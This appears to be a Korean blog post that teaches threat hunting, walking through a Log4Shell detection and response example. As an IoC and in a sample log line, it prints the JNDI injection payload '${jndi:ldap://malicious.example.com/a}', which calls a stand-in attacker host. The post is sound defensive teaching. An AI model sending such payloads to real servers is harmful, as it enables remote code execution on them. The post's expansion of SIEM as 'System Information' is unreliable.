반응형
Threat Hunting(위협 사냥)이란?
- 조직의 네트워크 및 시스템에서 숨겨진 위협을 적극적으로 찾아내기 위한 보안 활동
- 단순히 자동화된 보안 도구나 경고에 의존하지 않고, 보안 전문가가 능동적으로 잠재적 공격자나 악성 활동을 탐지하기 위해 데이터를 분석하고 조사하는 과정을 포함한다.
Threat Hunting의 주요 목표
- 숨겨진 위협 탐지: 기존의 보안 솔루션이 탐지하지 못한 위협을 찾아내어 제거합니다.
- 조기 경보: 잠재적인 위협을 조기에 발견하여, 공격이 발생하기 전에 대응합니다.
- 지속적인 개선: 탐지된 위협을 분석하고, 이를 바탕으로 보안 전략과 방어 체계를 지속적으로 개선합니다.
Threat Hunting의 주요 단계
- 가설 설정(Develop Hypotheses):
- 공격자들이 네트워크에 침투할 가능성이 있는 방법에 대한 가설을 세웁니다.
- 예를 들어, 특정 유형의 피싱 공격이 성공했다면, 해당 공격의 결과로 악성 소프트웨어가 설치되었을 가능성을 고려합니다.
- 데이터 수집 및 분석(Collect and Process Data):
- 로그 파일, 네트워크 트래픽, 엔드포인트 데이터 등 다양한 소스를 통해 데이터를 수집합니다.
- 수집된 데이터를 분석하여 비정상적인 활동을 식별합니다.
- 탐색 및 조사(Hunt and Investigate):
- 가설을 바탕으로 수집된 데이터를 조사하고, 이상 징후나 잠재적 위협을 찾습니다.
- 예를 들어, 특정 시간대의 네트워크 트래픽 패턴을 분석하여 의심스러운 활동을 찾아냅니다.
- 위협 확인 및 대응(Identify and Respond):
- 탐지된 위협을 확인하고, 그 영향을 평가합니다.
- 위협에 대한 대응 조치를 취하고, 필요한 경우 사고 대응팀을 동원합니다.
- 보고 및 개선(Report and Improve):
- 발견된 위협과 대응 조치를 문서화하여 보고합니다.
- 분석 결과를 바탕으로 보안 정책과 절차를 개선합니다.
Threat Hunting 기법
- 기반선 설정 및 이상 탐지: 정상적인 네트워크 활동의 기준을 설정하고, 이를 벗어나는 이상 활동을 탐지합니다.
- 지표 기반 탐색(Indicator of Compromise, IoC): 알려진 침해 지표를 기반으로 위협을 탐색합니다.
- 행동 기반 탐색(Tactics, Techniques, and Procedures, TTPs): 공격자의 일반적인 행동 패턴을 기반으로 위협을 탐색합니다.
Threat Hunting 도구 및 기술
- SIEM(System Information and Event Management): 중앙 집중식 로그 관리 및 분석을 통해 보안 이벤트를 모니터링하고 분석합니다.
- EDR(Endpoint Detection and Response): 엔드포인트에서 발생하는 보안 이벤트를 실시간으로 모니터링하고 대응합니다.
- 네트워크 분석 도구: 네트워크 트래픽을 분석하여 비정상적인 활동을 탐지합니다.
- 위협 인텔리전스: 최신 위협 정보를 활용하여 위협 사냥 활동을 강화합니다.
Threat Hunting 단계별 예시
1. 가설 설정 (Develop Hypotheses)
현재 최신 취약점 중 하나인 Log4Shell (CVE-2021-44228) 취약점이 발견되었다. 이 취약점은 Log4j 라이브러리를 사용하는 애플리케이션에 원격 코드 실행(RCE)을 허용할 수 있다. 가설은 이 취약점을 이용한 공격자가 우리 네트워크에 침투했을 가능성이 있다는 것이다.
2. 데이터 수집 및 분석 (Collect and Process Data)
먼저, 이 취약점과 관련된 IoC를 수집한다. IoC는 악성 IP 주소, 도메인, URL, 해시 값, 그리고 특정 로그 패턴 등을 포함할 수 있다.
- IoC 예시:
- 악성 IP 주소: 198.51.100.1
- 악성 도메인: malicious.example.com
- 특정 로그 패턴: ${jndi:ldap://malicious.example.com/a}
데이터 수집 방법:
- 로그 파일: 애플리케이션 로그, 웹 서버 로그, 데이터베이스 로그 등
- 네트워크 트래픽: 네트워크 트래픽 캡처 및 분석 도구 (예: Wireshark, Zeek)
- 엔드포인트 데이터: 엔드포인트 탐지 및 대응(EDR) 솔루션 (예: CrowdStrike, Carbon Black)
로그 예시 (Apache 웹 서버 로그):
perl
코드 복사
192.168.1.10 - - [01/Jan/2024:10:00:00 +0000] "GET / HTTP/1.1" 200 1234 "${jndi:ldap://malicious.example.com/a}"
3. 탐색 및 조사 (Hunt and Investigate)
수집된 데이터를 기반으로 IoC와 일치하는 패턴이나 이상 징후를 탐색한다.
- 로그 파일 탐색:
- grep 명령어를 사용하여 로그 파일에서 특정 패턴을 찾는다.
bash코드 복사grep -i '${jndi:ldap}' /var/log/apache2/access.log
- grep 명령어를 사용하여 로그 파일에서 특정 패턴을 찾는다.
- 네트워크 트래픽 분석:
- Wireshark를 사용하여 네트워크 캡처 파일(pcap)에서 의심스러운 트래픽을 검색한다.
plaintext코드 복사display filter: ldap and ip.addr == 198.51.100.1
- Wireshark를 사용하여 네트워크 캡처 파일(pcap)에서 의심스러운 트래픽을 검색한다.
- 엔드포인트 데이터 조사:
- EDR 솔루션에서 특정 IoC와 관련된 경고나 이벤트를 검색한다.
- 예: 198.51.100.1 IP 주소와의 통신 로그
- EDR 솔루션에서 특정 IoC와 관련된 경고나 이벤트를 검색한다.
4. 위협 확인 및 대응 (Identify and Respond)
탐색 과정에서 발견된 잠재적 위협을 확인하고 대응한다.
- 확인:
- 로그 파일에서 ${jndi:ldap://malicious.example.com/a} 패턴을 발견하여, 서버가 이 요청을 처리했음을 확인한다.
- 네트워크 트래픽에서 198.51.100.1 IP 주소와의 통신을 발견한다.
- 대응:
- 서버에서 의심스러운 트래픽을 차단하고, 방화벽 규칙을 업데이트한다.
- 영향을 받은 시스템에서 악성 활동을 조사하고, 필요하면 격리한다.
- 침투 테스트 및 포렌식 분석을 수행하여 공격 경로와 영향을 평가한다.
네트워크 차단 예시:
sudo iptables -A INPUT -s 198.51.100.1 -j DROP
5. 보고 및 개선 (Report and Improve)
발견된 위협과 대응 조치를 문서화하여 보고하고, 보안 정책을 개선한다.
- 보고서 작성:
- 공격의 개요, 발견된 IoC, 분석 결과, 대응 조치 등을 포함한 보고서를 작성한다.
- 보안 정책 개선:
- 취약점 패치를 신속히 적용하고, 관련 시스템을 업데이트한다.
- 보안 모니터링과 로그 분석 절차를 강화하여, 유사한 공격을 신속히 탐지할 수 있도록 한다.
반응형
'IT 기술 > 보안' 카테고리의 다른 글
[보안] 리눅스 서버 백신 (3) | 2024.09.30 |
---|---|
[보안] 리눅스 - 사용자 계정 보안 (0) | 2024.09.10 |
[보안] SSRF, Blind SSRF (0) | 2024.06.12 |